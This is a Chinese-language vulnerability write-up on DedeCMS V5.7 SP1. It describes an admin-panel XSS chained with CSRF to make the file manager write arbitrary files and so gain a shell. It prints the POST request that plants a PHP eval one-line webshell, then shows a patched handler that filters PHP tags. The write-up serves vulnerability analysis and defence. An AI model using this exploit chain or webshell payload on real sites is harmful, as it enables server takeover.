1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 这个漏洞的利用前提是需要登录到后台进行操作，准确来说是从cookies的角度来说是需要处于登录的后台状态
2. 后台的Logo上传存在xss漏洞，黑客可以在img的src中注入xss的代码
3. 黑客可以利用xss未过滤漏洞，发起CSRF攻击，劫持目标用户向"/dede/file_manage_control.php"文件发送畸形POST数据包
4. "/dede/file_manage_control.php"中未对外部输入的数据进行有效的过滤、转义，就将数据输出到磁盘文件中，最终导致了GETSHELL

http://www.wooyun.org/bugs/wooyun-2010-025175
http://www.wooyun.org/bugs/wooyun-2010-065561
http://www.2cto.com/Article/201409/335025.html

1. 黑客已经拿到了管理员的后台帐号、密码
2. 目标网站的后台(通常是审核的位置)存在XSS未过滤漏洞 
3. 黑客通过后台XSS未过滤漏洞劫持管理员，强制向特定文件发起AJAX POST请求
4. 发起基于XSS+CSRF的攻击
    1) SQL Injection Based On XSS+CSRF
    2) File Upload Based On XSS+CSRF

1. 利用XSS强制劫持用户发起POST请求
注入xss代码

2. POST
http://localhost/dedecms5.7/dede/file_manage_control.php

3. DATA
fmdo=edit&backurl=&activepath=&filename=csrf.php&str=<?php eval($_post[op]);?>&b1=

1. DedeCMS-V5.7-UTF8-SP1
2. <= DedeCMS-V5.7-UTF8-SP1

<?php
/**
 * 文件管理控制
 *
 * @version        $Id: file_manage_control.php 1 8:48 2010年7月13日Z tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require(dirname(__FILE__)."/config.php");

function find_php_payload($body, $file)
{ 
    $express = "/<\?(php){0,1}(.*)/i";
    if ( preg_match($express, $body) ) 
    {   
        if( file_exists($file) )
        {
            @unlink($file);
        }
        die("Request Error!");   
    }  
}

CheckPurview('plus_文件管理器');
...
else if($fmdo=="edit")
{ 
    $filename = str_replace("..", "", $filename);
    $file = "$cfg_basedir$activepath/$filename";
    //对输入变量进行转义
    $str = stripslashes($str);

    $str = find_php_payload($str, $file);

    $fp = fopen($file, "w");
    fputs($fp, $str);
    fclose($fp);
    if(empty($backurl))
    {
        ShowMsg("成功保存一个文件！","file_manage_main.php?activepath=$activepath");
    }
    else
    {
        ShowMsg("成功保存文件！",$backurl);
    }
    exit();
}
...